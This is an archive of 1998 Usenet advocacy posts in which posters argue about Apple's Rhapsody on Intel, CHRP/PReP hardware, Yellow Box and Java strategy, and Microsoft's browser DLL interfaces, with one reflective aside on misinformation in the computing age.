Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Thu, 21 May 1998 15:05:56 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35648924.602E@CONVEX.COM>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <joe.ragosta-2005981154020001@wil132.dol.net>
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Joe Ragosta wrote:
> Really? What about all the SGI computers in use? Or all the MIPS
> workstations?
Immaterial. These machines aren't used, by and large, where Office is
deployed. I see lots and lots of two-machine desktops for this purpose;
Rhapsody won't really replace them in the short-term, so M. Buck's
observation holds up in this light.
> Or the 10 million Linux users?
That many?! Wow, I didn't know it had jumped like that :-)
Conservative estimates and sake-of-argument quotes currently place it at
5 million. I believe that to be an under-estimate, but it's probably
safer to quote that one than the 10 million figure. I'm content to leave
it at 5 million until RedHat's next estimate.
> Apple claimed (on Rhapsody
> Developers' mailing list) that they need $100 million in revenues to
> justify Rhapsody/Intel. That's 1 million customers at $100 each.
That's so easy to do. For Apple, maybe not, but if it were up to me, I'd
be knocking on doors like a Jehovah's Witness until I got my millionth
customer. I'd probably be at it for less time than it took Lamar
Alexander to make his Flannel Walk across the state. I daresay it's
easier to sell Rhapsody than Watchtower Magazine, anyway.
> Given the
> number of disenfranchised Windows users, the number of Mac users forced to
> buy a Wintel box, the number of Linux users, and the number of users of
> other Unices, that is not outside the realm of possibility.
"Not outside the realm of possibility"?! It's a slam dunk. (regards to
DLR)
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 20:05:25 GMT
Organization: I don't think so
Message-ID: <slrn6m92ba.hri.jason@jhste1.dyn.ml.org>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <35639860.0@news.depaul.edu> <slrn6m774a.dai.jason@jhste1.dyn.ml.org> <joe.ragosta-2105980831500001@wil111.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>> I can't believe that Joe is still advancing this argument. This is
>> Motorola, as in "Motorola PowerPC." Those guys. I'd think that if
>> they said they had a 300 MHz machine, they had a 300 MHz machine.
>> Period. Despite what Joe might like to think.
>I never denied that. But what I said is that they had _one or two_ 300 MHz
>machines--not enough to sell.
>It's very common for companies to come out with some great demo product
>and announce it. The only problem is that it's many months before you can
>get it.
>How many months elapsed between the time Power Computing announced the
>availability of PowerBase machines and the time they actually started
>shipping? At least 4 months (I know--I was on the waiting list).
That's Power Computing. Do you have example of Motorola doing that?
>Of course, you might be arguing that Motorola really _could_ make
>quantities of 300 MHz G3 chips with 1 MB 300 MHz L2 last August and they
>just withheld these chips from Apple until February. If that's your
>argument, though, it would tell a different story about who the bad guy is
>here.
Sort of like not certifying machines for OS versions...
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 15:10:27 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35648A33.7F5B@CONVEX.COM>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net>
Mime-Version: 1.0
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Maury Markowitz wrote:
> > The opposite (EVERYTHING on Rhapsody) is ridiculous. It's not going to
> > happen.
>
> Hmmm, that's an interesting point.
Please go into more detail. I'm interested in hearing what you have to
say about this. Does it take you by surprise? Does it seem good or bad?
My opinion from the start has been that Apple failed to win the OS war,
and it doesn't matter anymore. It's poor thinking to continue to fight
the OS war; Apple should fight the API war, which is where everything
that matters is being sold. Apple can *win* the API war; it needs to
address some key issues, one of which Matthew Vaughan brought up: Java.
Jobs' passive approach to Java needs fixin'. Yes or no, we need answers
on whether Apple will play Big Ball with Sun on this. I know, I know,
we're getting a standardized JVM. That means nothing. Java and YB are
headed for a collision; we need to know how Jobs plans to engage.
It's a war, you say? Then I'm a soldier and I need to know where we're
hitting the enemy.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 13:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B189DC8F-B08F@206.165.43.34>
References: <joe.ragosta-2105981535160001@wil116.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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Joe Ragosta <joe.ragosta@dol.net> said:
>> Joe, CHRP was just PReP with Mac-isms added. Any OS that ran on PReP
>would
>> run on CHRP. Lots of OS's shipped for PReP.
>>
>
>Evidence?
>
>You're saying that changing the controllers on the board have no effect on
>the OS?
Yep. The spec for CHRP was quite literally PREP + Mac-specific hardware.
The whole idea was to allow MacOS to run on PREP-compatible machines.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: 21 May 1998 20:22:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6k22e8$brd@newsb.netnews.att.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6k02bm$6cv@newsb.netnews.att.com> <35644307.6FBF4A83@nstar.net> <rmcassid-2105981029430001@dante.eng.uci.edu>
Originator: gupta@tlctest
Robert Cassidy <rmcassid@uci.edu> wrote:
<mjpeck@nstar.net> wrote:
>
>>And what do you know? Sun's committment to Solaris on Intel has been one
>>of the major reasons Sun has signed licensees for Solaris on Merced. And
>>Apple wonders why nobody wants to play...
>
>That's a good point. I'd be interested to hear a response to that point
>from Apple.
>
>-Bob Cassidy
Yes, excellent point, and likewise.
-arun gupta
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 15:32:59 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35648F7B.4F0@CONVEX.COM>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net>
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Joe Ragosta wrote:
> > The opposite (EVERYTHING on Rhapsody) is ridiculous. It's not going to
> > happen.
>
> Why not? They're doing it now. Everything I've heard about Rhapsody is
> that it pulls this off very, very well.
You don't say what you mean (to be fair, neither do I :-). What,
exactly, does Rhapsody do to make it possible to run, directly or
otherwise, foreign software and computing tasks on the OS?
1) Java support (a big unknown at this point)
2) BSD
3) Blue Box (for Macintosh hardware)
That's my short list. What's yours?
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 21 May 1998 13:33:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B189DD86-EABF@206.165.43.34>
References: <6k1pr7$sr4$1@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.mac.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
Lawson English <english@primenet.com> said:
>> Which YOU want Apple to abandon by abandoning support for 68K Macs.
>>
>And these folks are contributing to Apple's bottom line how, exactly...?
By increasing the number of macOS boxes that developers can target. *Apple*
brags about this number to developers (and includes all active 68K boxes in
their figures) so they must think that total numbers of Macs are important
to developers.
>
>If I had a 386 PC running Windows 3.11 I wouldn't expect much in the way
>of
>support.
>
Maybe not, but Apple and Mac advocates like to brag about how long-lived
Macs are. Take that away, and the marketshare of the Mac is slashed by 50%.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 15:37:13 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k1hn9$pdd$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
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Cc: MJPECK@CONVEX.COM
In <35648A33.7F5B@CONVEX.COM> Michael Peck claimed:
> Maury Markowitz wrote:
>
> > > The opposite (EVERYTHING on Rhapsody) is ridiculous. It's not going to
> > > happen.
> >
> > Hmmm, that's an interesting point.
>
> Please go into more detail. I'm interested in hearing what you have to
> say about this. Does it take you by surprise? Does it seem good or bad?
In general I think the aim is a crazy one as you note. Apple customers
don't need it, they need a powerful Mac. PC users don't need it either, at
least not the majority of them.
> the OS war; Apple should fight the API war, which is where everything
> that matters is being sold. Apple can *win* the API war; it needs to
> address some key issues, one of which Matthew Vaughan brought up: Java.
They ARE winning it in some limited places, notably QuickTime. Can they
win it more widely? Hmmm, only with good developer marketing.
Maury
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 21 May 1998 20:18:39 GMT
Organization: Digital Fix Development
Message-ID: <6k226v$6g3$1@news.digifix.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jq20b$khp@newsb.netnews.att.com> <ericb-2005981940250001@132.236.171.104> <35642793.C2A7D977@milestonerdl.com>
In-Reply-To: <35642793.C2A7D977@milestonerdl.com>
On 05/21/98, m rassbach wrote:
>
<snip>
>And, at this time, they are right...YB *IS* Apple's cross-platform
option.
>Most of these people are 'from' the StepWise site, and StepWise has
been a big
>NeXT/Open/YB booster for quite some time. They want this truth to
happen.
>
Oh for the love of...
If anything, the reason I back this support, and the reason
that others involved with Stepwise back this stand is because we have
more than a small clue as to what is going on.
I've cited my sources on this information in the past.
>I've hashed out your point - make an announcement/the future of YB as
a
>cross-platform API is questionable . And, no matter HOW much you
post, you are
>not going to change their view. Perhaps you can find an old post in
which the
>long-term option of Rhaphody on Intel was brought up, and how they
said it WAS
>going to be long-term...but I don't remember anyone asking
that/getting an
>answer.
And you should realize that Apple hasn't ruled out
Rhapsody/Intel at this point, but they've not commited to it. That is
a different thing.
With the changes that Apple has made in creating support for
the Carbon APIs, Rhapsody/Intel doesn't make as much sense as it did
before.
And if ANYONE is trying to cloud the issue with bullshit, its
you.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 15:48:22 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35649316.4085@CONVEX.COM>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
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Maury Markowitz wrote:
[cut]
> > That's the key *right there*. Apple has to prove itself to these people
>
> Not just those people, but the people that are buying Macs too. If I knew
> that MacOS ran on PC's, I'd buy another Mac instead of the PC I bought. That
> may sound paradoxical but I believe many people are in the same boat.
It took me a couple days, but suddenly I see genius in this point. It's
about *confidence*, the asset Apple most fundamentally lacks, even with
traditional supporters. This is an amazingly important thing to say.
MJP
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 20:50:01 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6k241p$8s0$1@new-news.cc.brandeis.edu>
References: <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <see-below-2005981804400001@209.24.242.183> <*johnnyc*-2105981003210001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-2105981003210001@jchristie.halifaxcable.dal.ca> *johnnyc*@or.psychology.dal.ca (John Christie) writes:
>In article <see-below-2005981804400001@209.24.242.183>,
>see-below@not-my-address.com (Matthew Vaughan) wrote:
>
>> In article <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>,
>> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>>
>> > Well, one of the great promises of CHRP was that it was supposed to run
>> > a bunch of OSes. MacOS was to supposed to gain marketshare through the
>> > backdoor here. If CHRP really came to fruition how did little old Apple
>> > kill it? You would think that running NT, Solaris, and AIX would be
>> > plenty. Why isn't Motorola still selling these machines? Are you telling
>> > us that the MacOS was the most important OS for CHRP compared to NT?
>>
>> Yes. Why would anyone want to switch from NT/Intel to NT/PPC? If they were
>> going to, why not just switch to NT/Alpha? You'd have to give them a darn
>> good reason to do so. The whole idea of CHRP was more to expand the Mac
>> market than anything else.
>
>
> I wonder why it took so long for Apple to figure out that the two
>sentences above make no sense. No one would switch to NT/PPC, and CHRP
>was to expand the Mac market are incompatible statements. People actually
>mourn the loss of this?
The PowerPC processor was billed as next-generation hardware at today's
prices, which it still largely is. Just check the unit cost in volume.
PowerPC processors are, overall, faster than equivalent Alpha processors.
(The 500Mhz Alpha is a little faster in FP than the 350Mhz 604e, I
believe). PowerPC is also faster than SPARC, MIPS, and PA-RISC. And PPC
is less expensive than Intel processors. Intel processors have a
largely RISC core with a CISC wrapper (sans the extra registers), which
means lots of extra baggage in terms of transistor count, wierd memory
addressing modes, little-endian, and other stupid legacy crap that's there
because IBM chose a processor that wouldn't threaten its mainframe
business in 1981. Everyone likes to forget this.
Evidence is that the other operating systems didn't happen for CHRP/PREP
because of political reasons, with some technical issues thrown in.
Rumor is that MacOS 7.6 and up run on CHRP out of the box, with only a few
hardware compatability issues.
The real problem was Apple never figured out if, and how, it was going to
back out of the business of making hardware - which is what they needed to
do to make CHRP/PREP work.
--
Nathan Raymond
http://www.everythingmac.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 21 May 1998 15:41:35 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k1hvf$pdd$2@ns3.vrx.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <joe.ragosta-2005981154020001@wil132.dol.net>
<35648924.602E@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <35648924.602E@CONVEX.COM> Michael Peck claimed:
> Immaterial. These machines aren't used, by and large, where Office is
> deployed. I see lots and lots of two-machine desktops for this purpose;
> Rhapsody won't really replace them in the short-term, so M. Buck's
> observation holds up in this light.
That I'll agree with. However in the longer term I don't think it's nearly
that cut and dried. SGI is now slipping into a position Apple was in just
over a year ago in terms of "you gonna die succa" attitude as seen by it's
users, if that's still true in (say) two years and Apple is offering a solid
Unix based OS (which they will) and super fast machines (more debatable
compared to SGI anyway) then who knows?
> > Or the 10 million Linux users?
>
> That many?! Wow, I didn't know it had jumped like that :-)
I think he means Unix on PC in general.
> > Apple claimed (on Rhapsody
> > Developers' mailing list) that they need $100 million in revenues to
> > justify Rhapsody/Intel. That's 1 million customers at $100 each.
Really? That's certainly reasonable in my books too.
> That's so easy to do. For Apple, maybe not, but if it were up to me, I'd
> be knocking on doors like a Jehovah's Witness until I got my millionth
> customer. I'd probably be at it for less time than it took Lamar
> Alexander to make his Flannel Walk across the state. I daresay it's
> easier to sell Rhapsody than Watchtower Magazine, anyway.
Yeah, but would you pay for it just to get rid of an Apple rep?? :-)
Joe, if that number's right, we HAVE to do something about this!
Maury
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 21 May 1998 20:01:53 GMT
Organization: Cygnus Solutions
Message-ID: <6k217h$5o7$1@cronkite.cygnus.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
<6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net>
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<35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net>
<6ivmi0$822$1@cronkite.cygnus.com> <SCOTT.98May8144249@slave.doubleu.com>
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In <SCOTT.98May20165902@slave.doubleu.com> Scott Hess wrote:
>
> Don't go there - I think too much, and periodically, for lack of
> something better to think about, I ponder the value of computing in
> general. I always find some way to distract myself, though, because
> when it comes right down to it, a _lot_ of what we do in computing
> isn't helpful. It's neat, it's fun, it _seems_ helpful, but in the
> final analysis it isn't.
>
> Periodically I'll see a very good op-ed type commentary on how the
> computerization of society is removing all the friction which allows
> us to _relate_. On the surface, I have to agree, but digging down
> deeper, I'm not sure I do. What if it turns out that rather than
> GUI's and the like being lubricants for economies, the entire thing
> turns out to be friction for economies? How can you tell one from the
> other? Things _seem_ to move very fast, but what if the fast-moving
> things aren't really the important things?
>
>
There are times where I ponder the same thing(s).. though, more often than
pondering the effect of the computerization of society, I ponder the role
that it plays specifically in my life (until I got married, there were quite
a few times I pondered throwing it all out the window and joining a
monestary.. I still wonder if at times all of the things I enjoy about
computing aren't really just hollow surface things and that deep down I'd be
a lot happier doing something that was more spiritually pleasing.. but the
monk thing is pretty much out of the quesiton now that I'm married (and not
willing to leave her ;-)).
I think in a lot of ways, though, you're absolutely right. Lots of people
call this "the information age" because of the way computing facilitates
information transfer. But, I think really computing has done more to enable
the "image age" than the information age. And the two clash where you have
"the image of information". By that I don't mean digital pictures per se,
but the fact that the image is not the substance. We often see things (say,
for example, all of the wild speculation about what the WWDC announcements
really mean to Rhapsody/Intel and the BSD layer) that appear to be factual
news, or even things that don't appear to be factual news but we read them so
much that we are left with the subconcious impression that they are in fact
news, because computing makes it so easy to not just spread valid
information, but misinformation as well. Especially unintentional
misinformation (ie. presenting rumors as facts, not because you want to
misinform, but because you _don't_know_ it's a rumor).
So we're left with this impression that we're so much more in touch with the
facts and that we communicate the truth so much better with all of our fellow
humans.. when really it's like this big costume ball where instead of being
confronted with fake monsters that conceal real people, we're confronted with
images that appeal to our sense of truth and reality, but that conceal or
obfuscate the true nature of their information.
That means what we're doing is not lubricating the engine of society and
economy, but pouring something more along the lines of linseed oil in the
engine. Sure, at first it might lubricate the engine, but as time goes by
the oil will turn to resin and then sieze the engine. How much longer before
business is lost by people putting their faith in the image of the
information, instead of bothering to find the substance of the information?
(how much of that has happened already?)
(incidentally, that is probably the real root of why I don't find 'mere
users' to be at all innocent.. if they are infact being lead by the nose,
then it is their being willing to put their faith in the image of information
presented by those leading them that allows the situation to continue. If
from day one DOS users had said "This is crap!" and refused to continue using
it and upgrading it, MS wouldn't be where they are today)
I'll stop here though, at the risk of rambling and boring people to death ;-)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 21 May 1998 20:15:29 GMT
Organization: Cygnus Solutions
Message-ID: <6k2211$5o7$2@cronkite.cygnus.com>
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<01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net>
<rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net>
<rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net>
<rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com>
<6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com>
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Cc: darin@usa.net.removethis
In <tvyzpgb7acd.fsf@cn1.connectnet.com> Darin Johnson wrote:
> "John Saunders" <jws@jws.ultranet.com> writes:
>
>
> > Darrin, you should go look at IWebBrowser. It's a pretty high-level
> > interface. The only methods are GoBack, GoForward, GoHome, GoSearch,
Stop,
> > Navigate(url), and Refresh/Refresh2. It has a few interesting properties
> > like LocationName, LocationURL and Busy. I see no reason Netscape
couldn't
> > implment that.
>
> Because then Netscape becomes merely a new GUI to IE. It's no
> different than all those "hey, I built my very own web browser with
> visual basic!" programs. Netscape no longer has control of *how*
> these things work - if it wants a different way of "GoBack", they're
> stuck (what an *absurd* thing to put into a general interface,
> obviously MS programmers don't know OOD either). If a new browser
> doesn't even want GoBack/GoForward or that style of navigation (it's
> not universal), they're stuck too. Well, not *stuck* per se, they
> just can't make good use of the DLL. What the business does a library
> for a web browser have managing navigation?
>
> It's too high level. It sounds like it's just IE with the GUI ripped
> off and some glue slapped on to stop the bleeding.
>
I think what he meant to say was not that Netscape could merely have
implimented the front end to ride on top of the DLL, but that Netscape could
have just re-implimented the DLL using Netscape-isms instead of using the MS
DLL.
They could even extend it for more behaviors (and therefore continue to
compete with MS in the war by offering better IWebBrowser alternatives that
install over the MS one.. in fact, in doing so, if they remained 100%
compatible with the MS interface between App and DLL, they would instantly
inherit support from those developers that have adopted the MS path). As
long as the DLL does what the developer of end applications is expecting, I
doubt they care who wrote it. And if the Netscape DLL offers extensions they
find more useful, then they'll go with Netscape's DLL... and thus not be able
to use the MS DLL (until MS counters, etc).
In that sense, by providing a consistant interface which abstracts the
implimentation of the object through a very real encapsulation barrier, DLL's
really do facilitate Object Oriented programming. The DLL, as long as it
impliments the interface correctly, is both reusable and replacable.
(am I defending MS here? Today is going to be a weird day..)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Objective C++ (was Re: Infoworld on the Yellow Box's future)
Date: Thu, 21 May 1998 13:48:04 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2105981348040001@dante.eng.uci.edu>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu> <35633314.0@206.25.228.5> <6jvcc4$2i5$1@crib.bevc.blacksburg.va.us> <6k07o4$gc0$1@news.digifix.com> <rmcassid-2105981010440001@dante.eng.uci.edu> <6k1vhc$34b$3@news.idiom.com>
In article <6k1vhc$34b$3@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> Robert Cassidy may or may not have said:
>-> But are they officially changing the name to Objective-C++? I smell
>marketing...
>
>The name of the compiler is "GCC". Now, for quite some time, the NeXT flavor
>of that compiler has been able to take both Obj-C, and C++ code in the same
>source file, with just a bit of trickiness in declaring symbols. So, the
>language that NeXT (Apple)'s compiler can parse is Objective-C++.
>
>Clear?
Yep. Marketing. C is old regardless of applied words, C++ is modern
regardless of technical limitations. Give 'em what you want so long as it
has the name they want. Good decision.
>Don't worry. Just quit using C++, it sucks.
Gave it up some years ago. Made my head hurt.
-Bob Cassidy
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com> <6k1860$vn6$1@strato.ultra.net> <tvyzpgb7acd.fsf@cn1.connectnet.com> <6k2211$5o7$2@cronkite.cygnus.com>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvy7m3f7391.fsf@cn1.connectnet.com>
Date: Thu, 21 May 1998 20:55:35 GMT
NNTP-Posting-Date: Thu, 21 May 1998 13:55:35 PDT
jrudd@cygnus.com (John Rudd) writes:
> I think what he meant to say was not that Netscape could merely have
> implimented the front end to ride on top of the DLL, but that Netscape could
> have just re-implimented the DLL using Netscape-isms instead of using the MS
> DLL.
Wouldn't they also have to implement all the shell stuff? (ie, that
shell that's so tightly integrated that one can't fully uninstall
IE anymore?)
--
Darin Johnson
darin@usa.net.delete_me
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 15:58:42 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35649582.1F55@CONVEX.COM>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net>
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Maury Markowitz wrote:
> > the OS war; Apple should fight the API war, which is where everything
> > that matters is being sold. Apple can *win* the API war; it needs to
> > address some key issues, one of which Matthew Vaughan brought up: Java.
>
> They ARE winning it in some limited places, notably QuickTime. Can they
> win it more widely? Hmmm, only with good developer marketing.
Yes, without a doubt. No, marketing isn't the only piece to the puzzle.
Doing the obvious things is the biggest part.
What are the obvious things?
1) X server
2) Yellow Box for other platforms
3) QuickTime on *more* platforms
4) Explicit and unwavering support for Windows NT
5) Bandwagon: LDAP, Java, etcetera
6) Cheaper WebObjects licenses
7) Joining the OpenGL ARB (see #5)
Obvious things that will probably get me into trouble here:
1) Hardware cloning on an open spec
2) Explicit Linux support
3) A big, fat, public Java deal with Sun
4) A new CEO
Crazy, wacked-out ideas:
1) Buy a small computer game developer
2) Develop and announce the successor to the IMac before the end of 1998
3) Find a PDA manufacturer to endorse
4) Announce support for wireless communications in the OS
5) Put DVD in every Mac announced after May 21, 1998
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Thu, 21 May 1998 16:04:49 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
